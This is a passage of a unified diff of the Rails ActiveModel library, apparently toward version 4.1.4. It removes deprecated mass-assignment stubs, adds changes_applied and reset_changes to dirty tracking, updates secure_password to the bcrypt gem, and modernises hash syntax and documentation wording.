+      (persisted? && key = to_key) ? key.join('-') : nil
     end
 
     # Returns a +string+ identifying the path associated with the object.
diff --git a/activemodel/lib/active_model/deprecated_mass_assignment_security.rb b/activemodel/lib/active_model/deprecated_mass_assignment_security.rb
deleted file mode 100644
index 1f409c8..0000000
--- a/activemodel/lib/active_model/deprecated_mass_assignment_security.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module ActiveModel
-  module DeprecatedMassAssignmentSecurity # :nodoc:
-    extend ActiveSupport::Concern
-
-     module ClassMethods # :nodoc:
-       def attr_protected(*args)
-         raise "`attr_protected` is extracted out of Rails into a gem. " \
-           "Please use new recommended protection model for params" \
-           "(strong_parameters) or add `protected_attributes` to your " \
-           "Gemfile to use old one."
-       end
-
-       def attr_accessible(*args)
-         raise "`attr_accessible` is extracted out of Rails into a gem. " \
-           "Please use new recommended protection model for params" \
-           "(strong_parameters) or add `protected_attributes` to your " \
-           "Gemfile to use old one."
-       end
-     end
-  end
-end
diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb
index 789bdd7..98ffffe 100644
--- a/activemodel/lib/active_model/dirty.rb
+++ b/activemodel/lib/active_model/dirty.rb
@@ -14,13 +14,9 @@ module ActiveModel
   #   track.
   # * Call <tt>attr_name_will_change!</tt> before each change to the tracked
   #   attribute.
-  #
-  # If you wish to also track previous changes on save or update, you need to
-  # add:
-  #
-  #   @previously_changed = changes
-  #
-  # inside of your save or update method.
+  # * Call <tt>changes_applied</tt> after the changes are persisted.
+  # * Call <tt>reset_changes</tt> when you want to reset the changes
+  #   information.
   #
   # A minimal implementation could be:
   #
@@ -39,8 +35,12 @@ module ActiveModel
   #     end
   #
   #     def save
-  #       @previously_changed = changes
-  #       @changed_attributes.clear
+  #       # do persistence work
+  #       changes_applied
+  #     end
+  #
+  #     def reload!
+  #       reset_changes
   #     end
   #   end
   #
@@ -54,6 +54,7 @@ module ActiveModel
   #   person.name = 'Bob'
   #   person.changed?       # => true
   #   person.name_changed?  # => true
+  #   person.name_changed?(from: "Uncle Bob", to: "Bob") # => true
   #   person.name_was       # => "Uncle Bob"
   #   person.name_change    # => ["Uncle Bob", "Bob"]
   #   person.name = 'Bill'
@@ -65,6 +66,12 @@ module ActiveModel
   #   person.changed?       # => false
   #   person.name_changed?  # => false
   #
+  # Reset the changes:
+  #
+  #   person.previous_changes # => {"name" => ["Uncle Bob", "Bill"]}
+  #   person.reload!
+  #   person.previous_changes # => {}
+  #
   # Assigning the same value leaves the attribute unchanged:
   #
   #   person.name = 'Bill'
@@ -91,7 +98,7 @@ module ActiveModel
 
     included do
       attribute_method_suffix '_changed?', '_change', '_will_change!', '_was'
-      attribute_method_affix :prefix => 'reset_', :suffix => '!'
+      attribute_method_affix prefix: 'reset_', suffix: '!'
     end
 
     # Returns +true+ if any attribute have unsaved changes, +false+ otherwise.
@@ -129,7 +136,7 @@ module ActiveModel
     #   person.save
     #   person.previous_changes # => {"name" => ["bob", "robert"]}
     def previous_changes
-      @previously_changed
+      @previously_changed ||= ActiveSupport::HashWithIndifferentAccess.new
     end
 
     # Returns a hash of the attributes with unsaved changes indicating their original
@@ -139,14 +146,34 @@ module ActiveModel
     #   person.name = 'robert'
     #   person.changed_attributes # => {"name" => "bob"}
     def changed_attributes
-      @changed_attributes ||= {}
+      @changed_attributes ||= ActiveSupport::HashWithIndifferentAccess.new
+    end
+
+    # Handle <tt>*_changed?</tt> for +method_missing+.
+    def attribute_changed?(attr, options = {}) #:nodoc:
+      result = changed_attributes.include?(attr)
+      result &&= options[:to] == __send__(attr) if options.key?(:to)
+      result &&= options[:from] == changed_attributes[attr] if options.key?(:from)
+      result
+    end
+
+    # Handle <tt>*_was</tt> for +method_missing+.
+    def attribute_was(attr) # :nodoc:
+      attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr)
     end
 
     private
 
-      # Handle <tt>*_changed?</tt> for +method_missing+.
-      def attribute_changed?(attr)
-        changed_attributes.include?(attr)
+      # Removes current changes and makes them accessible through +previous_changes+.
+      def changes_applied
+        @previously_changed = changes
+        @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+      end
+
+      # Removes all dirty data: current changes and previous changes
+      def reset_changes
+        @previously_changed = ActiveSupport::HashWithIndifferentAccess.new
+        @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
       end
 
       # Handle <tt>*_change</tt> for +method_missing+.
@@ -154,11 +181,6 @@ module ActiveModel
         [changed_attributes[attr], __send__(attr)] if attribute_changed?(attr)
       end
 
-      # Handle <tt>*_was</tt> for +method_missing+.
-      def attribute_was(attr)
-        attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr)
-      end
-
       # Handle <tt>*_will_change!</tt> for +method_missing+.
       def attribute_will_change!(attr)
         return if attribute_changed?(attr)
diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb
index 050838b..9c3bc91 100644
--- a/activemodel/lib/active_model/errors.rb
+++ b/activemodel/lib/active_model/errors.rb
@@ -7,7 +7,7 @@ module ActiveModel
   # == Active \Model \Errors
   #
   # Provides a modified +Hash+ that you can include in your object
-  # for handling error messages and interacting with Action Pack helpers.
+  # for handling error messages and interacting with Action View helpers.
   #
   # A minimal implementation could be:
   #
@@ -23,7 +23,7 @@ module ActiveModel
   #     attr_reader   :errors
   #
   #     def validate!
-  #       errors.add(:name, "can not be nil") if name == nil
+  #       errors.add(:name, "cannot be nil") if name == nil
   #     end
   #
   #     # The following methods are needed to be minimally implemented
@@ -51,8 +51,8 @@ module ActiveModel
   # The above allows you to do:
   #
   #   person = Person.new
-  #   person.validate!            # => ["can not be nil"]
-  #   person.errors.full_messages # => ["name can not be nil"]
+  #   person.validate!            # => ["cannot be nil"]
+  #   person.errors.full_messages # => ["name cannot be nil"]
   #   # etc..
   class Errors
     include Enumerable
@@ -80,7 +80,7 @@ module ActiveModel
 
     # Clear the error messages.
     #
-    #   person.errors.full_messages # => ["name can not be nil"]
+    #   person.errors.full_messages # => ["name cannot be nil"]
     #   person.errors.clear
     #   person.errors.full_messages # => []
     def clear
@@ -90,19 +90,19 @@ module ActiveModel
     # Returns +true+ if the error messages include an error for the given key
     # +attribute+, +false+ otherwise.
     #
-    #   person.errors.messages        # => {:name=>["can not be nil"]}
+    #   person.errors.messages        # => {:name=>["cannot be nil"]}
     #   person.errors.include?(:name) # => true
     #   person.errors.include?(:age)  # => false
     def include?(attribute)
-      (v = messages[attribute]) && v.any?
+      messages[attribute].present?
     end
     # aliases include?
     alias :has_key? :include?
 
     # Get messages for +key+.
     #
-    #   person.errors.messages   # => {:name=>["can not be nil"]}
-    #   person.errors.get(:name) # => ["can not be nil"]
+    #   person.errors.messages   # => {:name=>["cannot be nil"]}
+    #   person.errors.get(:name) # => ["cannot be nil"]
     #   person.errors.get(:age)  # => nil
     def get(key)
       messages[key]
@@ -110,7 +110,7 @@ module ActiveModel
 
     # Set messages for +key+ to +value+.
     #
-    #   person.errors.get(:name) # => ["can not be nil"]
+    #   person.errors.get(:name) # => ["cannot be nil"]
     #   person.errors.set(:name, ["can't be nil"])
     #   person.errors.get(:name) # => ["can't be nil"]
     def set(key, value)
@@ -119,8 +119,8 @@ module ActiveModel
 
     # Delete messages for +key+. Returns the deleted messages.
     #
-    #   person.errors.get(:name)    # => ["can not be nil"]
-    #   person.errors.delete(:name) # => ["can not be nil"]
+    #   person.errors.get(:name)    # => ["cannot be nil"]
+    #   person.errors.delete(:name) # => ["cannot be nil"]
     #   person.errors.get(:name)    # => nil
     def delete(key)
       messages.delete(key)
@@ -129,8 +129,8 @@ module ActiveModel
     # When passed a symbol or a name of a method, returns an array of errors
     # for the method.
     #
-    #   person.errors[:name]  # => ["can not be nil"]
-    #   person.errors['name'] # => ["can not be nil"]
+    #   person.errors[:name]  # => ["cannot be nil"]
+    #   person.errors['name'] # => ["cannot be nil"]
     def [](attribute)
       get(attribute.to_sym) || set(attribute.to_sym, [])
     end
@@ -175,15 +175,15 @@ module ActiveModel
 
     # Returns all message values.
     #
-    #   person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
-    #   person.errors.values   # => [["can not be nil", "must be specified"]]
+    #   person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
+    #   person.errors.values   # => [["cannot be nil", "must be specified"]]
     def values
       messages.values
     end
 
     # Returns all message keys.
     #
-    #   person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
+    #   person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
     #   person.errors.keys     # => [:name]
     def keys
       messages.keys
@@ -211,7 +211,7 @@ module ActiveModel
     # Returns +true+ if no errors are found, +false+ otherwise.
     # If the error message is a string it can be empty.
     #
-    #   person.errors.full_messages # => ["name can not be nil"]
+    #   person.errors.full_messages # => ["name cannot be nil"]
     #   person.errors.empty?        # => false
     def empty?
       all? { |k, v| v && v.empty? && !v.is_a?(String) }
@@ -231,15 +231,15 @@ module ActiveModel
     #   #    <error>name must be specified</error>
     #   #  </errors>
     def to_xml(options={})
-      to_a.to_xml({ :root => "errors", :skip_types => true }.merge!(options))
+      to_a.to_xml({ root: "errors", skip_types: true }.merge!(options))
     end
 
     # Returns a Hash that can be used as the JSON representation for this
     # object. You can pass the <tt>:full_messages</tt> option. This determines
     # if the json object should contain full messages or not (false by default).
     #
-    #   person.errors.as_json                      # => {:name=>["can not be nil"]}
-    #   person.errors.as_json(full_messages: true) # => {:name=>["name can not be nil"]}
+    #   person.errors.as_json                      # => {:name=>["cannot be nil"]}
+    #   person.errors.as_json(full_messages: true) # => {:name=>["name cannot be nil"]}
     def as_json(options=nil)
       to_hash(options && options[:full_messages])
     end
@@ -247,8 +247,8 @@ module ActiveModel
     # Returns a Hash of attributes with their error messages. If +full_messages+
     # is +true+, it will contain full messages (see +full_message+).
     #
-    #   person.errors.to_hash       # => {:name=>["can not be nil"]}
-    #   person.errors.to_hash(true) # => {:name=>["name can not be nil"]}
+    #   person.errors.to_hash       # => {:name=>["cannot be nil"]}
+    #   person.errors.to_hash(true) # => {:name=>["name cannot be nil"]}
     def to_hash(full_messages = false)
       if full_messages
         messages = {}
@@ -279,7 +279,7 @@ module ActiveModel
     # If +message+ is a proc, it will be called, allowing for things like
     # <tt>Time.now</tt> to be used within an error.
     #
-    # If the <tt>:strict</tt> option is set to true will raise
+    # If the <tt>:strict</tt> option is set to +true+, it will raise
     # ActiveModel::StrictValidationFailed instead of adding the error.
     # <tt>:strict</tt> option can also be set to any other exception.
     #
@@ -289,7 +289,7 @@ module ActiveModel
     #   # => NameIsInvalid: name is invalid
     #
     #   person.errors.messages # => {}
-    def add(attribute, message = nil, options = {})
+    def add(attribute, message = :invalid, options = {})
       message = normalize_message(attribute, message, options)
       if exception = options[:strict]
         exception = ActiveModel::StrictValidationFailed if exception == true
@@ -331,7 +331,7 @@ module ActiveModel
     #
     #   person.errors.add :name, :blank
     #   person.errors.added? :name, :blank # => true
-    def added?(attribute, message = nil, options = {})
+    def added?(attribute, message = :invalid, options = {})
       message = normalize_message(attribute, message, options)
       self[attribute].include? message
     end
@@ -370,11 +370,11 @@ module ActiveModel
     def full_message(attribute, message)
       return message if attribute == :base
       attr_name = attribute.to_s.tr('.', '_').humanize
-      attr_name = @base.class.human_attribute_name(attribute, :default => attr_name)
+      attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
       I18n.t(:"errors.format", {
-        :default   => "%{attribute} %{message}",
-        :attribute => attr_name,
-        :message   => message
+        default:  "%{attribute} %{message}",
+        attribute: attr_name,
+        message:   message
       })
     end
 
@@ -426,10 +426,10 @@ module ActiveModel
       value = (attribute != :base ? @base.send(:read_attribute_for_validation, attribute) : nil)
 
       options = {
-        :default => defaults,
-        :model => @base.class.model_name.human,
-        :attribute => @base.class.human_attribute_name(attribute),
-        :value => value
+        default: defaults,
+        model: @base.class.model_name.human,
+        attribute: @base.class.human_attribute_name(attribute),
+        value: value
       }.merge!(options)
 
       I18n.translate(key, options)
@@ -437,8 +437,6 @@ module ActiveModel
 
   private
     def normalize_message(attribute, message, options)
-      message ||= :invalid
-
       case message
       when Symbol
         generate_message(attribute, message, options.except(*CALLBACKS_OPTIONS))
diff --git a/activemodel/lib/active_model/gem_version.rb b/activemodel/lib/active_model/gem_version.rb
new file mode 100644
index 0000000..7ca78dd
--- /dev/null
+++ b/activemodel/lib/active_model/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveModel
+  # Returns the version of the currently loaded ActiveModel as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 4
+    MINOR = 1
+    TINY  = 4
+    PRE   = nil
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb
index 46b446d..c6bc18b 100644
--- a/activemodel/lib/active_model/lint.rb
+++ b/activemodel/lib/active_model/lint.rb
@@ -13,7 +13,7 @@ module ActiveModel
     #
     # These tests do not attempt to determine the semantic correctness of the
     # returned values. For instance, you could implement <tt>valid?</tt> to
-    # always return true, and the tests would pass. It is up to you to ensure
+    # always return +true+, and the tests would pass. It is up to you to ensure
     # that the values are semantically meaningful.
     #
     # Objects you pass in are expected to return a compliant object from a call
diff --git a/activemodel/lib/active_model/model.rb b/activemodel/lib/active_model/model.rb
index f048dda..63716ee 100644
--- a/activemodel/lib/active_model/model.rb
+++ b/activemodel/lib/active_model/model.rb
@@ -1,6 +1,6 @@
 module ActiveModel
 
-  # == Active \Model Basic \Model
+  # == Active \Model \Basic \Model
   #
   # Includes the required interface for an object to interact with
   # <tt>ActionPack</tt>, using different <tt>ActiveModel</tt> modules.
diff --git a/activemodel/lib/active_model/naming.rb b/activemodel/lib/active_model/naming.rb
index 6887f6d..11ebfe6 100644
--- a/activemodel/lib/active_model/naming.rb
+++ b/activemodel/lib/active_model/naming.rb
@@ -129,7 +129,7 @@ module ActiveModel
     #
     # Equivalent to +to_s+.
     delegate :==, :===, :<=>, :=~, :"!~", :eql?, :to_s,
-             :to_str, :to => :name
+             :to_str, to: :name
 
     # Returns a new ActiveModel::Name instance. By default, the +namespace+
     # and +name+ option will take the namespace and name of the given class
@@ -183,7 +183,7 @@ module ActiveModel
       defaults << options[:default] if options[:default]
       defaults << @human
 
-      options = { :scope => [@klass.i18n_scope, :models], :count => 1, :default => defaults }.merge!(options.except(:default))
+      options = { scope: [@klass.i18n_scope, :models], count: 1, default: defaults }.merge!(options.except(:default))
       I18n.translate(defaults.shift, options)
     end
 
@@ -262,10 +262,10 @@ module ActiveModel
     # namespaced models regarding whether it's inside isolated engine.
     #
     #   # For isolated engine:
-    #   ActiveModel::Naming.singular_route_key(Blog::Post) #=> post
+    #   ActiveModel::Naming.singular_route_key(Blog::Post) # => "post"
     #
     #   # For shared engine:
-    #   ActiveModel::Naming.singular_route_key(Blog::Post) #=> blog_post
+    #   ActiveModel::Naming.singular_route_key(Blog::Post) # => "blog_post"
     def self.singular_route_key(record_or_class)
       model_name_from_record_or_class(record_or_class).singular_route_key
     end
@@ -274,10 +274,10 @@ module ActiveModel
     # namespaced models regarding whether it's inside isolated engine.
     #
     #   # For isolated engine:
-    #   ActiveModel::Naming.route_key(Blog::Post) #=> posts
+    #   ActiveModel::Naming.route_key(Blog::Post) # => "posts"
     #
     #   # For shared engine:
-    #   ActiveModel::Naming.route_key(Blog::Post) #=> blog_posts
+    #   ActiveModel::Naming.route_key(Blog::Post) # => "blog_posts"
     #
     # The route key also considers if the noun is uncountable and, in
     # such cases, automatically appends _index.
@@ -289,10 +289,10 @@ module ActiveModel
     # namespaced models regarding whether it's inside isolated engine.
     #
     #   # For isolated engine:
-    #   ActiveModel::Naming.param_key(Blog::Post) #=> post
+    #   ActiveModel::Naming.param_key(Blog::Post) # => "post"
     #
     #   # For shared engine:
-    #   ActiveModel::Naming.param_key(Blog::Post) #=> blog_post
+    #   ActiveModel::Naming.param_key(Blog::Post) # => "blog_post"
     def self.param_key(record_or_class)
       model_name_from_record_or_class(record_or_class).param_key
     end
diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb
index da1e846..826e89b 100644
--- a/activemodel/lib/active_model/secure_password.rb
+++ b/activemodel/lib/active_model/secure_password.rb
@@ -2,12 +2,14 @@ module ActiveModel
   module SecurePassword
     extend ActiveSupport::Concern
 
-    class << self; attr_accessor :min_cost; end
+    class << self
+      attr_accessor :min_cost # :nodoc:
+    end
     self.min_cost = false
 
     module ClassMethods
       # Adds methods to set and authenticate against a BCrypt password.
-      # This mechanism requires you to have a password_digest attribute.
+      # This mechanism requires you to have a +password_digest+ attribute.
       #
       # Validations for presence of password on create, confirmation of password
       # (using a +password_confirmation+ attribute) are automatically added. If
@@ -15,12 +17,12 @@ module ActiveModel
       # argument. You can add more validations by hand if need be.
       #
       # If you don't need the confirmation validation, just don't set any
-      # value to the password_confirmation attribute and the the validation
+      # value to the password_confirmation attribute and the validation
       # will not be triggered.
       #
-      # You need to add bcrypt-ruby (~> 3.1.2) to Gemfile to use #has_secure_password:
+      # You need to add bcrypt (~> 3.1.7) to Gemfile to use #has_secure_password:
       #
-      #   gem 'bcrypt-ruby', '~> 3.1.2'
+      #   gem 'bcrypt', '~> 3.1.7'
       #
       # Example using Active Record (which automatically includes ActiveModel::SecurePassword):
       #
@@ -40,14 +42,13 @@ module ActiveModel
       #   User.find_by(name: 'david').try(:authenticate, 'notright')      # => false
       #   User.find_by(name: 'david').try(:authenticate, 'mUc3m00RsqyRe') # => user
       def has_secure_password(options = {})
-        # Load bcrypt-ruby only when has_secure_password is used.
+        # Load bcrypt gem only when has_secure_password is used.
         # This is to avoid ActiveModel (and by extension the entire framework)
         # being dependent on a binary library.
         begin
-          gem 'bcrypt-ruby', '~> 3.1.2'
           require 'bcrypt'
         rescue LoadError
-          $stderr.puts "You don't have bcrypt-ruby installed in your application. Please add it to your Gemfile and run bundle install"
+          $stderr.puts "You don't have bcrypt installed in your application. Please add it to your Gemfile and run bundle install"
           raise
         end
 
@@ -56,11 +57,15 @@ module ActiveModel
         include InstanceMethodsOnActivation
 
         if options.fetch(:validations, true)
-          validates_confirmation_of :password, if: lambda { |m| m.password.present? }
-          validates_presence_of     :password, :on => :create
-          validates_presence_of     :password_confirmation, if: lambda { |m| m.password.present? }
+          # This ensures the model has a password by checking whether the password_digest
+          # is present, so that this works with both new and existing records. However,
+          # when there is an error, the message is added to the password attribute instead
+          # so that the error message will make sense to the end-user.
+          validate do |record|
+            record.errors.add(:password, :blank) unless record.password_digest.present?
+          end
 
-          before_create { raise "Password digest missing on new record" if password_digest.blank? }
+          validates_confirmation_of :password, if: ->{ password.present? }
         end
 
         if respond_to?(:attributes_protected_by_default)
@@ -99,7 +104,9 @@ module ActiveModel
       #   user.password = 'mUc3m00RsqyRe'
       #   user.password_digest # => "$2a$10$4LEA7r4YmNHtvlAvHhsYAeZmk/xeUVtMTYqwIvYY76EW5GUqDiP4."
       def password=(unencrypted_password)
-        unless unencrypted_password.blank?
+        if unencrypted_password.nil?
+          self.password_digest = nil
+        elsif unencrypted_password.present?
           @password = unencrypted_password
           cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine.cost
           self.password_digest = BCrypt::Password.create(unencrypted_password, cost: cost)
diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb
index fdb06ae..36a6c00 100644
--- a/activemodel/lib/active_model/serialization.rb
+++ b/activemodel/lib/active_model/serialization.rb
@@ -128,7 +128,7 @@ module ActiveModel
       # retrieve the value for a given attribute differently:
       #
       #   class MyClass
-      #     include ActiveModel::Validations
+      #     include ActiveModel::Serialization
       #
       #     def initialize(data = {})
       #       @data = data
diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb
index 9d984b7..c58e73f 100644
--- a/activemodel/lib/active_model/serializers/json.rb
+++ b/activemodel/lib/active_model/serializers/json.rb
@@ -2,7 +2,7 @@ require 'active_support/json'
 
 module ActiveModel
   module Serializers
-    # == Active Model JSON Serializer
+    # == Active \Model \JSON \Serializer
     module JSON
       extend ActiveSupport::Concern
       include ActiveModel::Serialization
@@ -109,7 +109,7 @@ module ActiveModel
       #
       #     def attributes=(hash)
       #       hash.each do |key, value|
-      #         instance_variable_set("@#{key}", value)
+      #         send("#{key}=", value)
       #       end
       #     end
       #
diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb
index 648ae7c..7f99536 100644
--- a/activemodel/lib/active_model/serializers/xml.rb
+++ b/activemodel/lib/active_model/serializers/xml.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/array/conversions'
 require 'active_support/core_ext/hash/conversions'
 require 'active_support/core_ext/hash/slice'
@@ -79,7 +79,7 @@ module ActiveModel
           require 'builder' unless defined? ::Builder
 
           options[:indent]  ||= 2
-          options[:builder] ||= ::Builder::XmlMarkup.new(:indent => options[:indent])
+          options[:builder] ||= ::Builder::XmlMarkup.new(indent: options[:indent])
 
           @builder = options[:builder]
           @builder.instruct! unless options[:skip_instruct]
@@ -88,8 +88,8 @@ module ActiveModel
           root = ActiveSupport::XmlMini.rename_key(root, options)
 
           args = [root]
-          args << {:xmlns => options[:namespace]} if options[:namespace]
-          args << {:type => options[:type]} if options[:type] && !options[:skip_types]
+          args << { xmlns: options[:namespace] } if options[:namespace]
+          args << { type: options[:type] } if options[:type] && !options[:skip_types]
 
           @builder.tag!(*args) do
             add_attributes_and_methods
@@ -132,7 +132,7 @@ module ActiveModel
             records = records.to_ary
 
             tag  = ActiveSupport::XmlMini.rename_key(association.to_s, options)
-            type = options[:skip_types] ? { } : {:type => "array"}
+            type = options[:skip_types] ? { } : { type: "array" }
             association_name = association.to_s.singularize
             merged_options[:root] = association_name
 
@@ -145,7 +145,7 @@ module ActiveModel
                     record_type = {}
                   else
                     record_class = (record.class.to_s.underscore == association_name) ? nil : record.class.name
-                    record_type = {:type => record_class}
+                    record_type = { type: record_class }
                   end
 
                   record.to_xml merged_options.merge(record_type)
@@ -205,7 +205,7 @@ module ActiveModel
         Serializer.new(self, options).serialize(&block)
       end
 
-      # Sets the model +attributes+ from a JSON string. Returns +self+.
+      # Sets the model +attributes+ from an XML string. Returns +self+.
       #
       #   class Person
       #     include ActiveModel::Serializers::Xml
diff --git a/activemodel/lib/active_model/translation.rb b/activemodel/lib/active_model/translation.rb
index 0d098ba..8470915 100644
--- a/activemodel/lib/active_model/translation.rb
+++ b/activemodel/lib/active_model/translation.rb
@@ -41,7 +41,7 @@ module ActiveModel
     #
     # Specify +options+ with additional translating options.
     def human_attribute_name(attribute, options = {})
-      options   = { :count => 1 }.merge!(options)
+      options   = { count: 1 }.merge!(options)
       parts     = attribute.to_s.split(".")
       attribute = parts.pop
       namespace = parts.join("/") unless parts.empty?
diff --git a/activemodel/lib/active_model/validations.rb b/activemodel/lib/active_model/validations.rb
index 714cc95..e9674d5 100644
--- a/activemodel/lib/active_model/validations.rb
+++ b/activemodel/lib/active_model/validations.rb
@@ -4,7 +4,7 @@ require 'active_support/core_ext/hash/except'
 
 module ActiveModel
 
-  # == Active \Model Validations
+  # == Active \Model \Validations
   #
   # Provides a full validation framework to your objects.
   #
@@ -46,7 +46,7 @@ module ActiveModel
       include HelperMethods
 
       attr_accessor :validation_context
-      define_callbacks :validate, :scope => :name
+      define_callbacks :validate, scope: :name
 
       class_attribute :_validators
       self._validators = Hash.new { |h,k| h[k] = [] }
@@ -66,8 +66,10 @@ module ActiveModel
       #   end
       #
       # Options:
-      # * <tt>:on</tt> - Specifies the context where this validation is active
-      #   (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   You can pass a symbol or an array of symbols.
+      #   (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
       # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
       # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
       # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
@@ -124,10 +126,10 @@ module ActiveModel
       #   end
       #
       # Options:
-      # * <tt>:on</tt> - Specifies the context where this validation is active
-      #   (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
-      # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   You can pass a symbol or an array of symbols.
+      #   (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
       # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
       #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
       #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
@@ -142,7 +144,9 @@ module ActiveModel
         if options.key?(:on)
           options = options.dup
           options[:if] = Array(options[:if])
-          options[:if].unshift("validation_context == :#{options[:on]}")
+          options[:if].unshift lambda { |o|
+            Array(options[:on]).include?(o.validation_context)
+          }
         end
         args << options
         set_callback(:validate, *args, &block)
@@ -197,12 +201,12 @@ module ActiveModel
       #   #      #<StrictValidator:0x007fbff3204a30 @options={strict:true}>
       #   #    ]
       #
-      # If one runs Person.clear_validators! and then checks to see what
+      # If one runs <tt>Person.clear_validators!</tt> and then checks to see what
       # validators this class has, you would obtain:
       #
       #   Person.validators # => []
       #
-      # Also, the callback set by +validate :cannot_be_robot+ will be erased
+      # Also, the callback set by <tt>validate :cannot_be_robot</tt> will be erased
       # so that:
       #
       #   Person._validate_callbacks.empty?  # => true
@@ -226,7 +230,6 @@ module ActiveModel
       #   Person.validators_on(:name)
       #   # => [
       #   #       #<ActiveModel::Validations::PresenceValidator:0x007fe604914e60 @attributes=[:name], @options={}>,
-      #   #       #<ActiveModel::Validations::InclusionValidator:0x007fe603bb8780 @attributes=[:age], @options={in:0..99}>
       #   #    ]
       def validators_on(*attributes)
         attributes.flat_map do |attribute|
diff --git a/activemodel/lib/active_model/validations/absence.rb b/activemodel/lib/active_model/validations/absence.rb
index 1a18633..9b5416f 100644
--- a/activemodel/lib/active_model/validations/absence.rb
+++ b/activemodel/lib/active_model/validations/absence.rb
@@ -21,7 +21,7 @@ module ActiveModel
       # * <tt>:message</tt> - A custom error message (default is: "must be blank").
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_absence_of(*attr_names)
         validates_with AbsenceValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb
index 0935ad0..ac5e798 100644
--- a/activemodel/lib/active_model/validations/acceptance.rb
+++ b/activemodel/lib/active_model/validations/acceptance.rb
@@ -3,7 +3,8 @@ module ActiveModel
   module Validations
     class AcceptanceValidator < EachValidator # :nodoc:
       def initialize(options)
-        super({ :allow_nil => true, :accept => "1" }.merge!(options))
+        super({ allow_nil: true, accept: "1" }.merge!(options))
+        setup!(options[:class])
       end
 
       def validate_each(record, attribute, value)
@@ -12,7 +13,8 @@ module ActiveModel
         end
       end
 
-      def setup(klass)
+      private
+      def setup!(klass)
         attr_readers = attributes.reject { |name| klass.attribute_method?(name) }
         attr_writers = attributes.reject { |name| klass.attribute_method?("#{name}=") }
         klass.send(:attr_reader, *attr_readers)
@@ -36,8 +38,6 @@ module ActiveModel
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "must be
       #   accepted").
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default
-      #   is +true+).
       # * <tt>:accept</tt> - Specifies value that is considered accepted.
       #   The default value is a string "1", which makes it easy to relate to
       #   an HTML checkbox. This should be set to +true+ if you are validating
@@ -45,8 +45,8 @@ module ActiveModel
       #   before validation.
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
-      # See <tt>ActiveModel::Validation#validates</tt> for more information
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+      # See <tt>ActiveModel::Validation#validates</tt> for more information.
       def validates_acceptance_of(*attr_names)
         validates_with AcceptanceValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/callbacks.rb b/activemodel/lib/active_model/validations/callbacks.rb
index e28ad28..edfffdd 100644
--- a/activemodel/lib/active_model/validations/callbacks.rb
+++ b/activemodel/lib/active_model/validations/callbacks.rb
@@ -1,6 +1,6 @@
 module ActiveModel
   module Validations
-    # == Active \Model Validation Callbacks
+    # == Active \Model \Validation \Callbacks
     #
     # Provides an interface for any class to have +before_validation+ and
     # +after_validation+ callbacks.
@@ -22,7 +22,10 @@ module ActiveModel
 
       included do
         include ActiveSupport::Callbacks
-        define_callbacks :validation, :terminator => "result == false", :skip_after_callbacks_if_terminated => true, :scope => [:kind, :name]
+        define_callbacks :validation,
+                         terminator: ->(_,result) { result == false },
+                         skip_after_callbacks_if_terminated: true,
+                         scope: [:kind, :name]
       end
 
       module ClassMethods
@@ -55,7 +58,9 @@ module ActiveModel
           if options.is_a?(Hash) && options[:on]
             options[:if] = Array(options[:if])
             options[:on] = Array(options[:on])
-            options[:if].unshift("#{options[:on]}.include? self.validation_context")
+            options[:if].unshift lambda { |o|
